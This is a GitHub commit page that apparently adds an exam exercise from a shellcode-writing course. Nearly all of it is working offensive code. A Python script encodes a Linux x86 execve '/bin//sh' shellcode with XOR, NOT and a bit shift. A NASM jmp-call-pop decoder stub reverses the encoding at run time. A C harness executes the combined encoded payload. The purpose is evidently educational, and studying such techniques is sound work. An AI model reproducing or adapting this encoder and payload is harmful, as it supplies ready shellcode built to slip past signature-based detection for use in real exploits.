Skip to content

Commit

Permalink
Added Exam EncoderDecoder code.
Browse files Browse the repository at this point in the history
  • Loading branch information
cr7pt0pl4gu3 committed Nov 15, 2020
1 parent 65bdbdd commit 4e17c7b
Show file tree
Hide file tree
Showing 7 changed files with 79 additions and 1 deletion.
2 changes: 1 addition & 1 deletion .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
{
"python.pythonPath": "/usr/bin/python2"
"python.pythonPath": "/usr/bin/python"
}
Binary file added Exam/EncoderDecoder/Decoder
Binary file not shown.
30 changes: 30 additions & 0 deletions Exam/EncoderDecoder/Decoder.nasm
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
; Decoder.nasm
; Author: Ravehorn

global _start

section .text

_start:

jmp short call_decoder

decoder:
pop esi
decode:

cmp byte [esi], 0x7f
je shellcode
shl byte [esi], 0x1
not byte [esi]
xor byte [esi], 0xAA
inc esi
jmp short decode

call_decoder:

call decoder

shellcode: db 0x32, 0x4a, 0x02, 0x1e, 0x3d, 0x3d, 0x13, 0x1e, 0x1e, 0x3d, 0x1b, 0x1e, 0x1d, 0x6e, 0x5b, 0x02, 0x6e, 0x5b, 0x03, 0x6e, 0x5a, 0x72, 0x2f, 0x4c, 0x6a, 0x7f
Binary file added Exam/EncoderDecoder/Decoder.o
Binary file not shown.
35 changes: 35 additions & 0 deletions Exam/EncoderDecoder/Encoder.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
#! /usr/bin/python
# Python Custom Encoder

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

c_format = ""
asm_format = ""

print("Encoding shellcode...\n")

for x in bytearray(shellcode):
# XOR
y = x ^ 0xAA

# NOT
y = ~y
y = y & 0xff

# Shift Right 0x1
y = y >> 0x1

c_format += "\\x"
c_format += "%02x" % y

asm_format += "0x"
asm_format += "%02x, " % y

# Adding null instruction
c_format += "\\x7f"
asm_format += "0x7f"

print("C version:", c_format, "\n")
print("ASM version:", asm_format, "\n")

print("Len: %d" % len(bytearray(shellcode)))
Binary file added Exam/EncoderDecoder/Shellcode
Binary file not shown.
13 changes: 13 additions & 0 deletions Exam/EncoderDecoder/Shellcode.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\xeb\x10\x5e\x80\x3e\x7f\x74\x0f\xd0\x26\xf6\x16\x80\x36\xaa\x46\xeb\xf1\xe8\xeb\xff\xff\xff"
"\x32\x4a\x02\x1e\x3d\x3d\x13\x1e\x1e\x3d\x1b\x1e\x1d\x6e\x5b\x02\x6e\x5b\x03\x6e\x5a\x72\x2f"
"\x4c\x6a\x7f";


int main(void) {
printf("Shellcode Length: %d\n", strlen(code));
((void(*)(void))code)();
}

0 comments on commit 4e17c7b

Please sign in to comment.